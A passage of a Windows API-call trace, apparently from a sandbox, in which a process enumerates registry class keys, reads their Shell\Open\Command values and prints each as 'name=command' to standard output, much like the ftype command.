lpSubKey="SKBMonitor.KeyStrokeMonitor\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.732] SetLastError (dwErrCode=0x2) [0101.732] RegCloseKey (hKey=0x0) returned 0x6 [0101.733] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xd44, lpName=0x2eef50, cchName=0x104 | out: lpName="SKBMonitor.KeyStrokeMonitor.1") returned 0x0 [0101.733] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SKBMonitor.KeyStrokeMonitor.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.733] SetLastError (dwErrCode=0x2) [0101.733] RegCloseKey (hKey=0x0) returned 0x6 [0101.733] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xd45, lpName=0x2eef50, cchName=0x104 | out: lpName="SketchObj.SketchInk") returned 0x0 [0101.733] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SketchObj.SketchInk\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.733] SetLastError (dwErrCode=0x2) [0101.733] RegCloseKey (hKey=0x0) returned 0x6 [0101.733] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xd46, lpName=0x2eef50, cchName=0x104 | out: lpName="SketchObj.SketchInk.1") returned 0x0 [0101.733] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SketchObj.SketchInk.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.733] SetLastError (dwErrCode=0x2) [0101.733] RegCloseKey (hKey=0x0) returned 0x6 [0101.733] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xd47, lpName=0x2eef50, cchName=0x104 | out: lpName="skypecast15") returned 0x0 [0101.733] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="skypecast15\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x64) returned 0x0 [0101.733] RegQueryValueExW (in: hKey=0x64, lpValueName=0x0, lpReserved=0x0, lpType=0x2eef28, lpData=0x0, lpcbData=0x2eef20*=0x0 | out: lpType=0x2eef28*=0x1, lpData=0x0, lpcbData=0x2eef20*=0x7c) returned 0x0 [0101.733] RegQueryValueExW (in: hKey=0x64, lpValueName=0x0, lpReserved=0x0, lpType=0x2eef28, lpData=0x3c5e10, lpcbData=0x2eef20*=0x7c | out: lpType=0x2eef28*=0x1, lpData="C:\\Program Files\\Microsoft Office\\Root\\Office16\\lync.exe \"%1\"", lpcbData=0x2eef20*=0x7c) returned 0x0 [0101.733] RegCloseKey (hKey=0x64) returned 0x0 [0101.733] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="skypecast15=C:\\Program Files\\Microsoft Office\\Root\\Office16\\lync.exe \"%1\"\r\n") returned 75 [0101.733] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.733] GetFileType (hFile=0x5c) returned 0x3 [0101.733] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.733] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="skypecast15=C:\\Program Files\\Microsoft Office\\Root\\Office16\\lync.exe \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="skypecast15=C:\\Program Files\\Microsoft Office\\Root\\Office16\\lync.exe \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 76 [0101.733] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x4b, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x4b, lpOverlapped=0x0) returned 1 [0101.734] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xd48, lpName=0x2eef50, cchName=0x104 | out: lpName="Snapins.FolderSnapin") returned 0x0 [0101.734] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Snapins.FolderSnapin\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.734] SetLastError (dwErrCode=0x2) [0101.734] RegCloseKey (hKey=0x0) returned 0x6 [0101.734] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xd49, lpName=0x2eef50, cchName=0x104 | out: lpName="Snapins.FolderSnapin.1") returned 0x0 [0101.734] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Snapins.FolderSnapin.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.734] SetLastError (dwErrCode=0x2) [0101.734] RegCloseKey (hKey=0x0) returned 0x6 [0101.734] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xd4a, lpName=0x2eef50, cchName=0x104 | out: lpName="Snapins.HTMLSnapin") returned 0x0 [0101.734] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Snapins.HTMLSnapin\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.734] SetLastError (dwErrCode=0x2) [0101.734] RegCloseKey (hKey=0x0) returned 0x6 [0101.734] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xd4b, lpName=0x2eef50, cchName=0x104 | out: lpName="Snapins.HTMLSnapin.1") returned 0x0 [0101.734] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Snapins.HTMLSnapin.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.734] SetLastError (dwErrCode=0x2) [0101.734] RegCloseKey (hKey=0x0) returned 0x6 [0101.734] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xd4c, lpName=0x2eef50, cchName=0x104 | out: lpName="Snapins.OCXSnapin") returned 0x0 [0101.734] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Snapins.OCXSnapin\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.734] SetLastError (dwErrCode=0x2) [0101.734] RegCloseKey (hKey=0x0) returned 0x6 [0101.734] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xd4d, lpName=0x2eef50, cchName=0x104 | out: lpName="Snapins.OCXSnapin.1") returned 0x0 [0101.734] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Snapins.OCXSnapin.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.734] SetLastError (dwErrCode=0x2) [0101.734] RegCloseKey (hKey=0x0) returned 0x6 [0101.735] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xd4e, lpName=0x2eef50, cchName=0x104 | out: lpName="soap") returned 0x0 [0101.735] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="soap\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.735] SetLastError (dwErrCode=0x2) [0101.735] RegCloseKey (hKey=0x0) returned 0x6 [0101.735] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xd4f, lpName=0x2eef50, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0101.735] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SOFTWARE\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.735] SetLastError (dwErrCode=0x2) [0101.735] RegCloseKey (hKey=0x0) returned 0x6 [0101.735] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xd50, lpName=0x2eef50, cchName=0x104 | out: lpName="SoftwareDistribution.VistaWebControl") returned 0x0 [0101.735] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SoftwareDistribution.VistaWebControl\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.735] SetLastError (dwErrCode=0x2) [0101.735] RegCloseKey (hKey=0x0) returned 0x6 [0101.735] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xd51, lpName=0x2eef50, cchName=0x104 | out: lpName="SoftwareDistribution.VistaWebControl.1") returned 0x0 [0101.735] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SoftwareDistribution.VistaWebControl.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.735] SetLastError (dwErrCode=0x2) [0101.735] RegCloseKey (hKey=0x0) returned 0x6 [0101.735] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xd52, lpName=0x2eef50, cchName=0x104 | out: lpName="solution_utils.dll.CSD") returned 0x0 [0101.735] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="solution_utils.dll.CSD\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.735] SetLastError (dwErrCode=0x2) [0101.735] RegCloseKey (hKey=0x0) returned 0x6 [0101.735] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xd53, lpName=0x2eef50, cchName=0x104 | out: lpName="solution_utils.dll.CustomProperty") returned 0x0 [0101.735] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="solution_utils.dll.CustomProperty\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.735] SetLastError (dwErrCode=0x2) [0101.735] RegCloseKey (hKey=0x0) returned 0x6 [0101.735] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xd54, lpName=0x2eef50, cchName=0x104 | out: lpName="solution_utils.dll.CustomPropertySet") returned 0x0 [0101.735] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="solution_utils.dll.CustomPropertySet\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.736] SetLastError (dwErrCode=0x2) [0101.736] RegCloseKey (hKey=0x0) returned 0x6 [0101.736] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xd55, lpName=0x2eef50, cchName=0x104 | out: lpName="solution_utils.dll.CustomPropertySets") returned 0x0 [0101.736] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="solution_utils.dll.CustomPropertySets\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.736] SetLastError (dwErrCode=0x2) [0101.736] RegCloseKey (hKey=0x0) returned 0x6 [0101.736] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xd56, lpName=0x2eef50, cchName=0x104 | out: lpName="solution_utils.dll.PropertySetDefs") returned 0x0 [0101.736] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="solution_utils.dll.PropertySetDefs\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.736] SetLastError (dwErrCode=0x2) [0101.736] RegCloseKey (hKey=0x0) returned 0x6 [0101.736] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xd57, lpName=0x2eef50, cchName=0x104 | out: lpName="SoundRec") returned 0x0 [0101.736] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SoundRec\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.736] SetLastError (dwErrCode=0x2) [0101.736] RegCloseKey (hKey=0x0) returned 0x6 [0101.736] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xd58, lpName=0x2eef50, cchName=0x104 | out: lpName="SPCFile") returned 0x0 [0101.736] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SPCFile\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x64) returned 0x0 [0101.736] RegQueryValueExW (in: hKey=0x64, lpValueName=0x0, lpReserved=0x0, lpType=0x2eef28, lpData=0x0, lpcbData=0x2eef20*=0x0 | out: lpType=0x2eef28*=0x2, lpData=0x0, lpcbData=0x2eef20*=0x8a) returned 0x0 [0101.736] RegQueryValueExW (in: hKey=0x64, lpValueName=0x0, lpReserved=0x0, lpType=0x2eef28, lpData=0x3c5e10, lpcbData=0x2eef20*=0x8a | out: lpType=0x2eef28*=0x2, lpData="%SystemRoot%\\system32\\rundll32.exe cryptext.dll,CryptExtOpenPKCS7 %1", lpcbData=0x2eef20*=0x8a) returned 0x0 [0101.737] RegCloseKey (hKey=0x64) returned 0x0 [0101.737] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="SPCFile=%SystemRoot%\\system32\\rundll32.exe cryptext.dll,CryptExtOpenPKCS7 %1\r\n") returned 78 [0101.737] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.737] GetFileType (hFile=0x5c) returned 0x3 [0101.737] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.737] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="SPCFile=%SystemRoot%\\system32\\rundll32.exe cryptext.dll,CryptExtOpenPKCS7 %1\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SPCFile=%SystemRoot%\\system32\\rundll32.exe cryptext.dll,CryptExtOpenPKCS7 %1\r\n", lpUsedDefaultChar=0x0) returned 79 [0101.737] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x4e, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x4e, lpOverlapped=0x0) returned 1 [0101.737] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xd59, lpName=0x2eef50, cchName=0x104 | out: lpName="SpeechUX.ConfigUI") returned 0x0 [0101.737] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SpeechUX.ConfigUI\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.737] SetLastError (dwErrCode=0x2) [0101.737] RegCloseKey (hKey=0x0) returned 0x6 [0101.737] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xd5a, lpName=0x2eef50, cchName=0x104 | out: lpName="SpeechUX.ConfigUI.1") returned 0x0 [0101.737] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SpeechUX.ConfigUI.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.737] SetLastError (dwErrCode=0x2) [0101.737] RegCloseKey (hKey=0x0) returned 0x6 [0101.737] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xd5b, lpName=0x2eef50, cchName=0x104 | out: lpName="SpeechUX.SpeechUXHost") returned 0x0 [0101.737] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SpeechUX.SpeechUXHost\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.737] SetLastError (dwErrCode=0x2) [0101.737] RegCloseKey (hKey=0x0) returned 0x6 [0101.737] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xd5c, lpName=0x2eef50, cchName=0x104 | out: lpName="SpeechUX.SpeechUXHost.1") returned 0x0 [0101.738] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SpeechUX.SpeechUXHost.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.738] SetLastError (dwErrCode=0x2) [0101.738] RegCloseKey (hKey=0x0) returned 0x6 [0101.738] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xd5d, lpName=0x2eef50, cchName=0x104 | out: lpName="SplSetup.CFindNetPrinters") returned 0x0 [0101.738] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SplSetup.CFindNetPrinters\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.740] SetLastError (dwErrCode=0x2) [0101.740] RegCloseKey (hKey=0x0) returned 0x6 [0101.740] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xd5e, lpName=0x2eef50, cchName=0x104 | out: lpName="SplSetup.CFindNetPrinters.1") returned 0x0 [0101.740] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SplSetup.CFindNetPrinters.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.740] SetLastError (dwErrCode=0x2) [0101.740] RegCloseKey (hKey=0x0) returned 0x6 [0101.740] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xd5f, lpName=0x2eef50, cchName=0x104 | out: lpName="Spp.Spp") returned 0x0 [0101.740] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Spp.Spp\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.740] SetLastError (dwErrCode=0x2) [0101.740] RegCloseKey (hKey=0x0) returned 0x6 [0101.740] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xd60, lpName=0x2eef50, cchName=0x104 | out: lpName="Spp.Spp.1") returned 0x0 [0101.740] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Spp.Spp.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.740] SetLastError (dwErrCode=0x2) [0101.740] RegCloseKey (hKey=0x0) returned 0x6 [0101.741] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xd61, lpName=0x2eef50, cchName=0x104 | out: lpName="SppComApi.ElevationConfig") returned 0x0 [0101.741] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SppComApi.ElevationConfig\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.741] SetLastError (dwErrCode=0x2) [0101.741] RegCloseKey (hKey=0x0) returned 0x6 [0101.741] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xd62, lpName=0x2eef50, cchName=0x104 | out: lpName="SppComApi.ElevationConfig.1") returned 0x0 [0101.741] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SppComApi.ElevationConfig.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.741] SetLastError (dwErrCode=0x2) [0101.741] RegCloseKey (hKey=0x0) returned 0x6 [0101.741] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xd63, lpName=0x2eef50, cchName=0x104 | out: lpName="SppComApi.LicensingPackage") returned 0x0 [0101.741] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SppComApi.LicensingPackage\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.741] SetLastError (dwErrCode=0x2) [0101.741] RegCloseKey (hKey=0x0) returned 0x6 [0101.741] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xd64, lpName=0x2eef50, cchName=0x104 | out: lpName="SppComApi.LicensingPackage.1") returned 0x0 [0101.741] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SppComApi.LicensingPackage.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.741] SetLastError (dwErrCode=0x2) [0101.741] RegCloseKey (hKey=0x0) returned 0x6 [0101.741] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xd65, lpName=0x2eef50, cchName=0x104 | out: lpName="SppComApi.LicensingStateTools") returned 0x0 [0101.741] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SppComApi.LicensingStateTools\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.741] SetLastError (dwErrCode=0x2) [0101.741] RegCloseKey (hKey=0x0) returned 0x6 [0101.741] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xd66, lpName=0x2eef50, cchName=0x104 | out: lpName="SppComApi.LicensingStateTools.1") returned 0x0 [0101.742] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SppComApi.LicensingStateTools.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.742] SetLastError (dwErrCode=0x2) [0101.742] RegCloseKey (hKey=0x0) returned 0x6 [0101.742] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xd67, lpName=0x2eef50, cchName=0x104 | out: lpName="SppComApi.LicensingStatusData") returned 0x0 [0101.742] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SppComApi.LicensingStatusData\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.742] SetLastError (dwErrCode=0x2) [0101.742] RegCloseKey (hKey=0x0) returned 0x6 [0101.742] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xd68, lpName=0x2eef50, cchName=0x104 | out: lpName="SppComApi.LicensingStatusData.1") returned 0x0 [0101.742] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SppComApi.LicensingStatusData.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.742] SetLastError (dwErrCode=0x2) [0101.742] RegCloseKey (hKey=0x0) returned 0x6 [0101.742] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xd69, lpName=0x2eef50, cchName=0x104 | out: lpName="SppComApi.ModemActivation") returned 0x0 [0101.742] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SppComApi.ModemActivation\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.742] SetLastError (dwErrCode=0x2) [0101.742] RegCloseKey (hKey=0x0) returned 0x6 [0101.742] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xd6a, lpName=0x2eef50, cchName=0x104 | out: lpName="SppComApi.ModemActivation.1") returned 0x0 [0101.742] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SppComApi.ModemActivation.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.742] SetLastError (dwErrCode=0x2) [0101.742] RegCloseKey (hKey=0x0) returned 0x6 [0101.742] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xd6b, lpName=0x2eef50, cchName=0x104 | out: lpName="SppComApi.OfflineActivation") returned 0x0 [0101.742] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SppComApi.OfflineActivation\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.742] SetLastError (dwErrCode=0x2) [0101.743] RegCloseKey (hKey=0x0) returned 0x6 [0101.743] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xd6c, lpName=0x2eef50, cchName=0x104 | out: lpName="SppComApi.OfflineActivation.1") returned 0x0 [0101.743] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SppComApi.OfflineActivation.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.743] SetLastError (dwErrCode=0x2) [0101.743] RegCloseKey (hKey=0x0) returned 0x6 [0101.743] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xd6d, lpName=0x2eef50, cchName=0x104 | out: lpName="SppComApi.OnlineActivation") returned 0x0 [0101.743] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SppComApi.OnlineActivation\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.743] SetLastError (dwErrCode=0x2) [0101.743] RegCloseKey (hKey=0x0) returned 0x6 [0101.743] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xd6e, lpName=0x2eef50, cchName=0x104 | out: lpName="SppComApi.OnlineActivation.1") returned 0x0 [0101.743] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SppComApi.OnlineActivation.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.743] SetLastError (dwErrCode=0x2) [0101.743] RegCloseKey (hKey=0x0) returned 0x6 [0101.743] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xd6f, lpName=0x2eef50, cchName=0x104 | out: lpName="SppComApi.SPPLUAObject") returned 0x0 [0101.743] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SppComApi.SPPLUAObject\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.743] SetLastError (dwErrCode=0x2) [0101.743] RegCloseKey (hKey=0x0) returned 0x6 [0101.743] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xd70, lpName=0x2eef50, cchName=0x104 | out: lpName="SppComApi.SPPLUAObject.1") returned 0x0 [0101.743] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SppComApi.SPPLUAObject.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.743] SetLastError (dwErrCode=0x2) [0101.743] RegCloseKey (hKey=0x0) returned 0x6 [0101.743] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xd71, lpName=0x2eef50, cchName=0x104 | out: lpName="SppComApi.TokenActivation") returned 0x0 [0101.743] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SppComApi.TokenActivation\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.744] SetLastError (dwErrCode=0x2) [0101.744] RegCloseKey (hKey=0x0) returned 0x6 [0101.744] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xd72, lpName=0x2eef50, cchName=0x104 | out: lpName="SppComApi.TokenActivation.1") returned 0x0 [0101.744] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SppComApi.TokenActivation.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.744] SetLastError (dwErrCode=0x2) [0101.744] RegCloseKey (hKey=0x0) returned 0x6 [0101.744] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xd73, lpName=0x2eef50, cchName=0x104 | out: lpName="SPPUI.SPPUIObject") returned 0x0 [0101.744] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SPPUI.SPPUIObject\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.744] SetLastError (dwErrCode=0x2) [0101.744] RegCloseKey (hKey=0x0) returned 0x6 [0101.744] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xd74, lpName=0x2eef50, cchName=0x104 | out: lpName="SPPUI.SPPUIObject.1") returned 0x0 [0101.744] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SPPUI.SPPUIObject.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.744] SetLastError (dwErrCode=0x2) [0101.744] RegCloseKey (hKey=0x0) returned 0x6 [0101.744] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xd75, lpName=0x2eef50, cchName=0x104 | out: lpName="SPPUI.SPPUIObjectInteractive") returned 0x0 [0101.744] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SPPUI.SPPUIObjectInteractive\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.744] SetLastError 